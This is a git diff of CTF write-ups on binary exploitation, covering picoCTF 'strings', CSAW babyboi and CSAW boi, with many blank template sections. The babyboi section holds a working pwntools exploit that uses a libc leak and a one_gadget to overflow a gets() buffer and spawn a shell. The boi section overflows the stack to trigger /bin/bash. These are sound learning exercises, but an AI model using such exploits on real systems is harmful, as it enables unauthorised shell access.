local_20 = 0x6c;
local_1c = 0x41;
local_18 = 0x62;
local_14 = 0x7d;
sVar1 = strlen(param_1);
local_50 = 0;
do {
if ((int)sVar1 <= local_50) {
uVar2 = 1;
LAB_001012b7:
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return uVar2;
}
if ((int)param_1[local_50] != local_48[local_50]) {
uVar2 = 0;
goto LAB_001012b7;
}
local_50 = local_50 + 1;
} while( true );
}
So first of all our input text gets passed into the validate function via the param_1 parameter. It enters a do{} while(); loop, with each iteration of that while loop, there is a value that gets incremented, the only return statements of that function are either return uVar2 or either not making the function return anything at all, instead going to the __stack_chk_fail() function. therefore the important value here is uVar2
int local_48 [4];
[...]
local_48[0] = 0x66;
local_48[1] = 0x6c;
local_48[2] = 0x61;
local_48[3] = 0x67;
[...]
if ((int)param_1[local_50] != local_48[local_50]) {
uVar2 = 0;
goto LAB_001012b7;
}
local_50 = local_50 + 1;
Here we see that our each character of our input (param1) gets checked against the corresponding character of the local_48 string. Therefore we need to make sure our input matches the values inside of local_48's 0,1,2,3 characters. so we know we have to look at the following addresses:
0x66
0x6c
0x61
0x67
From Ghidra, we see the following assembly code:
00101205 c7 45 c0 MOV dword ptr [RBP + local_48],0x66
66 00 00 00
0010120c c7 45 c4 MOV dword ptr [RBP + local_44],0x6c
6c 00 00 00
00101213 c7 45 c8 MOV dword ptr [RBP + local_40],0x61
61 00 00 00
0010121a c7 45 cc MOV dword ptr [RBP + local_3c],0x67
67 00 00 00
00101221 c7 45 d0 MOV dword ptr [RBP + local_38],0x7b
7b 00 00 00
00101228 c7 45 d4 MOV dword ptr [RBP + local_34],0x48
48 00 00 00
0010122f c7 45 d8 MOV dword ptr [RBP + local_30],0x75
75 00 00 00
00101236 c7 45 dc MOV dword ptr [RBP + local_2c],0x43
43 00 00 00
0010123d c7 45 e0 MOV dword ptr [RBP + local_28],0x66
66 00 00 00
00101244 c7 45 e4 MOV dword ptr [RBP + local_24],0x5f
5f 00 00 00
0010124b c7 45 e8 MOV dword ptr [RBP + local_20],0x6c
6c 00 00 00
00101252 c7 45 ec MOV dword ptr [RBP + local_1c],0x41
41 00 00 00
00101259 c7 45 f0 MOV dword ptr [RBP + local_18],0x62
62 00 00 00
00101260 c7 45 f4 MOV dword ptr [RBP + local_14],0x7d
7d 00 00 00
Now from here we can get the list of specific bytes our input needs to be:
0x66
0x6c
0x61
0x67
0x7b
0x48
0x75
0x43
0x66
0x5f
0x6c
0x41
0x62
0x7d
Now let's move over to python:
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/1]
→ ls -lash
total 788K
4.0K drwxr-xr-x 2 nothing nothing 4.0K Feb 22 17:19 .
4.0K drwxr-xr-x 4 nothing nothing 4.0K Feb 22 17:23 ..
20K -rwxr-xr-x 1 nothing nothing 17K Feb 22 17:19 rev
760K -rwxr-xr-x 1 nothing nothing 759K Feb 22 17:12 strings
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/1]
→ file rev
rev: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=e4dbcb1281821db359d566c68fea7380aeb27378, for GNU/Linux 3.2.0, not stripped
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/1]
→ python3
Python 3.9.1+ (default, Feb 5 2021, 13:46:56)
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> x = [0x66, 0x6c, 0x61, 0x67, 0x7b, 0x48, 0x75, 0x43, 0x66, 0x5f, 0x6c, 0x41, 0x62, 0x7d]
>>> input = ""
>>> for i in x:
... input += chr(i)
...
>>> input
'flag{HuCf_lAb}'
And here we see that the first 4 addresses were 'flag' the next 10 were '{HuCf_lAb}', this obviously was fairly easy
## Title
text
` ![]()
## Title
text
` ![]()

75
1/strings.md Normal file
View file

@ -0,0 +1,75 @@
# Binary Exploitation
## Downloading the binary file
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/1]
→ wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/03-beginner_re/pico18_strings/strings
--2021-02-22 17:12:22-- https://github.com/guyinatuxedo/nightmare/raw/master/modules/03-beginner_re/pico18_strings/strings
Resolving github.com (github.com)... 140.82.121.3
Connecting to github.com (github.com)|140.82.121.3|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/03-beginner_re/pico18_strings/strings [following]
--2021-02-22 17:12:22-- https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/03-beginner_re/pico18_strings/strings
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.111.133, 185.199.108.133, 185.199.109.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.111.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 776368 (758K) [application/octet-stream]
Saving to: strings
strings 100%[=======================================================================================================================================================================================================>] 758.17K --.-KB/s in 0.1s
2021-02-22 17:12:23 (5.86 MB/s) - strings saved [776368/776368]
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/1]
→ file strings
strings: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e337b489c47492dd5dff90353eb227b4e7e69028, not stripped
` ![]()
## Solution
The solution is fairly simple, first make the binary file executable, then run it:
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/1]
→ chmod +x strings
[ 192.168.100.126/24 ] [ /dev/pts/2 ] [~/binexp/1]
→ ./strings
Have you ever used the 'strings' function? Check out the man pages!
Here we are hinted at using the strings function, so we will do so and use grep to try and see if the flag appears, generally the flag contains {flaghash} so we can use grep to find it :
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/1]
→ strings strings | grep {
picoCTF{sTrIngS_sAVeS_Time_3f712a28}
And we're done!
![]()
## Title
text
` ![]()
## Title
text
` ![]()

84
2/0.md Normal file
View file

@ -0,0 +1,84 @@
# Binary Exploitation
## Downloading the binary file
` ![]()
## Solution
![]()
![]()
![]()
![]()
![]()
![]()
![]()
![]()
![]()
![]()
![]()
## Title
text
` ![]()
## Title
text
` ![]()

BIN
2/1.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 795 KiB

BIN
2/10.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 228 KiB

BIN
2/11.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 427 KiB

BIN
2/12.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 535 KiB

BIN
2/13.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 378 KiB

BIN
2/14.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 544 KiB

BIN
2/15.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 312 KiB

BIN
2/16.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 649 KiB

BIN
2/17.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 293 KiB

BIN
2/18.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 80 KiB

BIN
2/19.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 30 KiB

BIN
2/2.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 326 KiB

BIN
2/20.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 12 KiB

BIN
2/21.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 62 KiB

BIN
2/22.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 99 KiB

BIN
2/23.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 6.1 KiB

BIN
2/24.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 90 KiB

BIN
2/25.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 77 KiB

BIN
2/26.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 38 KiB

BIN
2/27.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 87 KiB

BIN
2/28.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 32 KiB

BIN
2/29.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 21 KiB

BIN
2/3.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 237 KiB

BIN
2/30.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 176 KiB

BIN
2/31.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 81 KiB

BIN
2/32.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 16 KiB

BIN
2/33.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 11 KiB

BIN
2/34.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 30 KiB

BIN
2/35.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 61 KiB

BIN
2/4.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 299 KiB

BIN
2/40.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 38 KiB

BIN
2/41.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 58 KiB

BIN
2/42.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 32 KiB

BIN
2/43.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 16 KiB

BIN
2/44.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 110 KiB

BIN
2/45.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 19 KiB

BIN
2/46.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 80 KiB

BIN
2/47.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 68 KiB

BIN
2/48.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 26 KiB

BIN
2/49.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 20 KiB

BIN
2/5.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 994 KiB

BIN
2/50.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 30 KiB

BIN
2/51.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 67 KiB

BIN
2/6.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 390 KiB

BIN
2/7.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 190 KiB

BIN
2/8.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 617 KiB

BIN
2/9.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 814 KiB

308
2/bboi.md Normal file
View file

@ -0,0 +1,308 @@
# Csaw 2019 babyboi
## Downloading the binary file
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi]
→ wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/08-bof_dynamic/csaw19_babyboi/baby_boi
baby_boi 100%[==========================================================>] 8.41K --.-KB/s in 0.001s
2021-03-06 15:19:56 (16.1 MB/s) - baby_boi saved [8608/8608]
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi]
→ wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/08-bof_dynamic/csaw19_babyboi/baby_boi.c
baby_boi.c 100%[==========================================================>] 274 --.-KB/s in 0s
2021-03-06 15:20:10 (27.1 MB/s) - baby_boi.c saved [274/274]
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi]
→ wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/08-bof_dynamic/csaw19_babyboi/libc-2.27.so
libc-2.27.so 100%[==========================================================>] 1.94M 2.79MB/s in 0.7s
2021-03-06 15:20:19 (2.79 MB/s) - libc-2.27.so saved [2030544/2030544]
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi]
→ file baby_boi
baby_boi: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=e1ff55dce2efc89340b86a666bba5e7ff2b37f62, not stripped
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi]
→ chmod +x baby_boi
` ![]()
## Solution
first let's run the binary to see what it does:
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi]
→ ./baby_boi
Hello!
Here I am: 0x7f158ee88590
ok
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi]
→ ./baby_boi
Hello!
Here I am: 0x7f7090800590
hello
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi]
→ ./baby_boi
Hello!
Here I am: 0x7f4a5ed57590
bye
The binary basically outputs some text, then it lekas some memorya ddress, and then lets us put in some text. Let's run pwn checksec on it and check what are the other files about:
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi]
→ pwn checksec baby_boi
[*] '/home/nothing/binexp/2/bboi/baby_boi'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi]
→ cat baby_boi.c
#include
#include
int main(int argc, char **argv[]) {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
char buf[32];
printf("Hello!\n");
printf("Here I am: %p\n", printf);
gets(buf);
}
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi]
→ ./libc-2.27.so
zsh: permission denied: ./libc-2.27.so
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi]
→ chmod +x libc-2.27.so
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi]
→ ./libc-2.27.so
Inconsistency detected by ld.so: dl-call-libc-early-init.c: 37: _dl_call_libc_early_init: Assertion `sym != NULL' failed!
Now here we see that the binary just prompts us for text, and looking at the sourcecode, we see that it prints the libc address for printf. After that, it makes a **gets** call on a fixed size buffer of 32 bytes (0x20 bytes) so this means that we have a buffer overflow. We also see that the libc version is **2.27** The only binary protection that we have is NX.
To exploit this, we will use the buffer overflow vulnerability we just mentionned, and then we will call a oneshot gadget, which is a single ROP gadget in the libc library that will call **execve("/bin/sh")** given the right conditions, we find this using the [one_gadget](https://github.com/david942j/one_gadget) utility:
[ 192.168.0.18/24 ] [ /dev/pts/9 ] [~]
→ sudo pacman -S rubygems
[sudo] password for nothing:
warning: rubygems-3.2.13-1 is up to date -- reinstalling
resolving dependencies...
looking for conflicting packages...
Package (1) Old Version New Version Net Change
extra/rubygems 3.2.13-1 3.2.13-1 0.00 MiB
Total Installed Size: 0.92 MiB
Net Upgrade Size: 0.00 MiB
:: Proceed with installation? [Y/n] y
(1/1) checking keys in keyring [----------------------------------------------] 100%
(1/1) checking package integrity [----------------------------------------------] 100%
(1/1) loading package files [----------------------------------------------] 100%
(1/1) checking for file conflicts [----------------------------------------------] 100%
(1/1) checking available disk space [----------------------------------------------] 100%
:: Processing package changes...
(1/1) reinstalling rubygems [----------------------------------------------] 100%
:: Running post-transaction hooks...
(1/1) Arming ConditionNeedsUpdate...
[ 192.168.0.18/24 ] [ /dev/pts/9 ] [~]
→ gem install one_gadget
Fetching one_gadget-1.7.4.gem
Fetching bindata-2.4.8.gem
Fetching elftools-1.1.3.gem
WARNING: You don't have /home/nothing/.local/share/gem/ruby/2.7.0/bin in your PATH,
gem executables will not run.
Successfully installed bindata-2.4.8
Successfully installed elftools-1.1.3
Successfully installed one_gadget-1.7.4
3 gems installed
Here for some reason the binary to run one_gadget isn't in my $PATH so i have to make a symlink to it:
[ 192.168.0.18/24 ] [ /dev/pts/19 ] [~]
→ sudo updatedb;locate one_gadget | grep 'gadget$'
/home/nothing/.local/share/gem/ruby/2.7.0/bin/one_gadget
/home/nothing/.local/share/gem/ruby/2.7.0/gems/one_gadget-1.7.4/bin/one_gadget
/home/nothing/.local/share/gem/ruby/2.7.0/gems/one_gadget-1.7.4/lib/one_gadget
[ 192.168.0.18/24 ] [ /dev/pts/19 ] [~]
→ /home/nothing/.local/share/gem/ruby/2.7.0/bin/one_gadget
Usage: one_gadget [options]
-b, --build-id BuildID BuildID[sha1] of libc.
-f, --[no-]force-file Force search gadgets in file instead of build id first.
-l, --level OUTPUT_LEVEL The output level.
OneGadget automatically selects gadgets with higher successful probability.
Increase this level to ask OneGadget show more gadgets it found.
Default: 0
-n, --near FUNCTIONS/FILE Order gadgets by their distance to the given functions or to the GOT functions of the given file.
-r, --[no-]raw Output gadgets offset only, split with one space.
-s, --script exploit-script Run exploit script with all possible gadgets.
The script will be run as 'exploit-script $offset'.
--info BuildID Show version information given BuildID.
--base BASE_ADDRESS The base address of libc.
Default: 0
--version Current gem version.
[ 192.168.0.18/24 ] [ /dev/pts/21 ] [~]
→ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/sbin:/usr/lib/jvm/default/bin:/usr/bin/site_perl:/usr/bin/vendor_perl:/usr/bin/core_perl:/var/lib/snapd/snap/bin
[ 192.168.0.18/24 ] [ /dev/pts/19 ] [~]
→ sudo ln -s /home/nothing/.local/share/gem/ruby/2.7.0/bin/one_gadget /usr/local/bin/one_gadget
[ 192.168.0.18/24 ] [ /dev/pts/19 ] [~]
→ zsh
[ 192.168.0.18/24 ] [ /dev/pts/19 ] [~]
→ one_gadget
Usage: one_gadget [options]
-b, --build-id BuildID BuildID[sha1] of libc.
-f, --[no-]force-file Force search gadgets in file instead of build id first.
-l, --level OUTPUT_LEVEL The output level.
OneGadget automatically selects gadgets with higher successful probability.
Increase this level to ask OneGadget show more gadgets it found.
Default: 0
-n, --near FUNCTIONS/FILE Order gadgets by their distance to the given functions or to the GOT functions of the given file.
-r, --[no-]raw Output gadgets offset only, split with one space.
-s, --script exploit-script Run exploit script with all possible gadgets.
The script will be run as 'exploit-script $offset'.
--info BuildID Show version information given BuildID.
--base BASE_ADDRESS The base address of libc.
Default: 0
--version Current gem version.
Now that's done, let's run one_gadget on the libc library:
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi]
→ one_gadget libc-2.27.so
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
So here we see that we can leverage the libc infoleak with the printf statement to the libc printf which we know the libc version, we know the address space of the libc. For which onegadget to pick, it's usually trial and error to see what conditions will work. So let's make our exploit as follows:
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi]
→ vim exploit.py
from pwn import *
# Establish the target
target = process('./baby_boi', env={"LD_PRELOAD":"./libc-2.27.so"})
libc = ELF('libc-2.27.so')
print(target.recvuntil("ere I am: "))
# Scan in the infoleak
leak = target.recvline()
leak = leak.strip(b"\n")
base = int(leak, 16) - libc.symbols['printf']
print("wooo:" + hex(base))
# Calculate oneshot gadget
oneshot = base + 0x4f322
payload = b""
payload += b"\x00"*0x28 # Offset to oneshot gadget
payload += p64(oneshot) # Oneshot gadget
# Send the payload
target.sendline(payload)
target.interactive()
Now execute it and we see the following:
[ 192.168.0.18/24 ] [ /dev/pts/1 ] [binexp/2/bboi]
→ python3 exploit.py
[+] Starting local process './baby_boi': pid 540529
[*] '/home/nothing/binexp/2/bboi/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Hello!
Here I am:
wooo:0x7fedeb22e012
[*] Switching to interactive mode
$ cat flag.txt
flag{baby_boi_dodooo_doo_doo_dooo}
And that's it! we have been able to spawn a shell and print out the flag.
## Title
text
` ![]()
## Title
text
` ![]()

727
2/boi.md Normal file
View file

@ -0,0 +1,727 @@
# CSAW 2018 Quals Boi
## Downloading the binary file
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/2]
→ wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/04-bof_variable/csaw18_boi/boi
--2021-02-22 21:57:40-- https://github.com/guyinatuxedo/nightmare/raw/master/modules/04-bof_variable/csaw18_boi/boi
Resolving github.com (github.com)... 140.82.121.4
Connecting to github.com (github.com)|140.82.121.4|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/04-bof_variable/csaw18_boi/boi [following]
--2021-02-22 21:57:41-- https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/04-bof_variable/csaw18_boi/boi
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.108.133, 185.199.109.133, 185.199.111.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.108.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 8792 (8.6K) [application/octet-stream]
Saving to: boi
boi 100%[===============================================================================>] 8.59K --.-KB/s in 0s
2021-02-22 21:57:41 (31.4 MB/s) - boi saved [8792/8792]
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/2]
→ file boi
boi: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=1537584f3b2381e1b575a67cba5fbb87878f9711, not stripped
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/2]
→ chmod +x boi
` ![]()
## Solution
first things first, let's execute the binary to see what it does:
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/2]
→ ./boi
Are you a big boiiiii??
yes
Tue 23 Feb 2021 08:53:13 AM CET
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/2]
→ ./boi
Are you a big boiiiii??
no
Tue 23 Feb 2021 08:53:17 AM CET
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/2]
→ date
Tue 23 Feb 2021 08:53:22 AM CET
it seems the binary checks for our input, and then executes a command, in this case it's 'date' let's use pwn to check the security of that binary:
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/2]
→ pwn checksec boi
[*] '/home/nothing/binexp/2/boi'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
here we see that this is a 64bit binary with a Stack Canary, and a non-executable stack (which are 2 binary mitigations). Let's take a look at it with ghidra:
![](1.png)
which gives us the following code for the main function:
undefined8 main(void)
{
long in_FS_OFFSET;
undefined8 local_38;
undefined8 local_30;
undefined4 local_28;
int iStack36;
undefined4 local_20;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
local_38 = 0;
local_30 = 0;
local_20 = 0;
local_28 = 0;
iStack36 = -0x21524111;
puts("Are you a big boiiiii??");
read(0,&local;_38,0x18);
if (iStack36 == -0x350c4512) {
run_cmd("/bin/bash");
}
else {
run_cmd("/bin/date");
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
Now in this main function, we see that our text input gets put into the local_38 variable, however there is something else here, there is an if statement, that wants the iStack36 value to be equal to a certain hexadecimal value. if it is not equal to that hex value, it will print out the date like we saw earlier, if it is actually the correct hex value, it will run /bin/bash. The important thing to note here is that the binary scans for 18 bytes of our data, or 18 ascii characters.
Now if we look at what our iStack value is declared as we get the following:
iStack36 = -0x21524111;
0040067e c7 45 e4 MOV dword ptr [RBP + local_28+0x4],0xdeadbeef
ef be ad de
and then later on when iStack36 gets compared the second value:
if (iStack36 == -0x350c4512) {
run_cmd("/bin/bash");
}
004006a8 3d ee ba CMP EAX,0xcaf3baee
f3 ca
004006ad 75 0c JNZ LAB_004006bb
004006af bf 7c 07 MOV EDI=>s_/bin/bash_0040077c,s_/bin/bash_0040077c = "/bin/bash"
40 00
004006b4 e8 6d ff CALL run_cmd undefined run_cmd()
ff ff
so, iStack36 first gets assignd the 0xdeadbeef value, and then it gets compared to 0xcaf3baee. Now the next step is to look at the stack layout in ghidra, you can click on any variable where they are declared:
![](2.png)
**************************************************************
* FUNCTION *
**************************************************************
undefined main()
undefined AL:1
undefined8 Stack[-0x10]:8 local_10 XREF[2]: 00400659(W),
004006ca(R)
undefined4 Stack[-0x20]:4 local_20 XREF[1]: 00400677(W)
undefined8 Stack[-0x28]:8 local_28 XREF[1,2]: 0040066f(W),
0040067e(W),
004006a5(R)
undefined8 Stack[-0x30]:8 local_30 XREF[1]: 00400667(W)
undefined8 Stack[-0x38]:8 local_38 XREF[2]: 0040065f(W),
0040068f(*)
undefined4 Stack[-0x3c]:4 local_3c XREF[1]: 00400649(W)
undefined8 Stack[-0x48]:8 local_48 XREF[1]: 0040064c(W)
main XREF[5]: Entry Point(*),
_start:0040054d(*),
_start:0040054d(*), 004007b4,
00400868(*)
00400641 55 PUSH RBP
Now according to ghidra, our input (local_38) is stored at offset -0x38 and we see that is stored at offset -0x28 this means that theres is a 0x10 byte difference between the 2 values.
Since we can write 0x18 bytes or characters, that measn we can fill up the 0x10 byte difference and overwrite other values, most importantly the value being checked (iStack36). So let's take a look at it from gdb-gef :
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/2]
→ gdb ./boi
GNU gdb (Debian 10.1-1.7) 10.1.90.20210103-git
Copyright (C) 2021 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
.
Find the GDB manual and other documentation resources online at:
.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
92 commands loaded for GDB 10.1.90.20210103-git using Python engine 3.9
Reading symbols from ./boi...
(No debugging symbols found in ./boi)
gef➤
Now from here, we set a breakpoint at *0x4006a5 because this is where
![](3.png)
gef➤ b *0x4006a5
Breakpoint 1 at 0x4006a5
gef➤ r
Starting program: /home/nothing/binexp/2/boi
Are you a big boiiiii??
yes
Here we use b to set the breakpoint, and r to run the binary, put in our text, and we get this breakpoint output:
Breakpoint 1, 0x00000000004006a5 in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x4
$rbx : 0x0
$rcx : 0x00007ffff7edce8e → 0x5a77fffff0003d48 ("H="?)
$rdx : 0x18
$rsp : 0x00007fffffffe0f0 → 0x00007fffffffe228 → 0x00007fffffffe500 → "/home/nothing/binexp/2/boi"
$rbp : 0x00007fffffffe130 → 0x00000000004006e0 → <__libc_csu_init+0> push r15
$rsi : 0x00007fffffffe100 → 0x000000000a736579 ("yes\n"?)
$rdi : 0x0
$rip : 0x00000000004006a5 → mov eax, DWORD PTR [rbp-0x1c]
$r8 : 0x18
$r9 : 0x00007ffff7facbe0 → 0x00000000006026a0 → 0x0000000000000000
$r10 : 0xfffffffffffff28b
$r11 : 0x246
$r12 : 0x0000000000400530 → <_start+0> xor ebp, ebp
$r13 : 0x0
$r14 : 0x0
$r15 : 0x0
$eflags: [zero CARRY parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffe0f0│+0x0000: 0x00007fffffffe228 → 0x00007fffffffe500 → "/home/nothing/binexp/2/boi" ← $rsp
0x00007fffffffe0f8│+0x0008: 0x000000010040072d
0x00007fffffffe100│+0x0010: 0x000000000a736579 ("yes\n"?) ← $rsi
0x00007fffffffe108│+0x0018: 0x0000000000000000
0x00007fffffffe110│+0x0020: 0xdeadbeef00000000
0x00007fffffffe118│+0x0028: 0x0000000000000000
0x00007fffffffe120│+0x0030: 0x00007fffffffe220 → 0x0000000000000001
0x00007fffffffe128│+0x0038: 0xa4430c55074e2b00
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x400698 mov rsi, rax
0x40069b mov edi, 0x0
0x4006a0 call 0x400500
●→ 0x4006a5 mov eax, DWORD PTR [rbp-0x1c]
0x4006a8 cmp eax, 0xcaf3baee
0x4006ad jne 0x4006bb
0x4006af mov edi, 0x40077c
0x4006b4 call 0x400626
0x4006b9 jmp 0x4006c5
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "boi", stopped 0x4006a5 in main (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x4006a5 → main()
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤search-pattern yes
now the thing is we can't just search-pattern the yes word we used as input, we need something more specific, so let's redo it:
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/2]
→ gdb ./boi
GNU gdb (Debian 10.1-1.7) 10.1.90.20210103-git
Copyright (C) 2021 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
.
Find the GDB manual and other documentation resources online at:
.
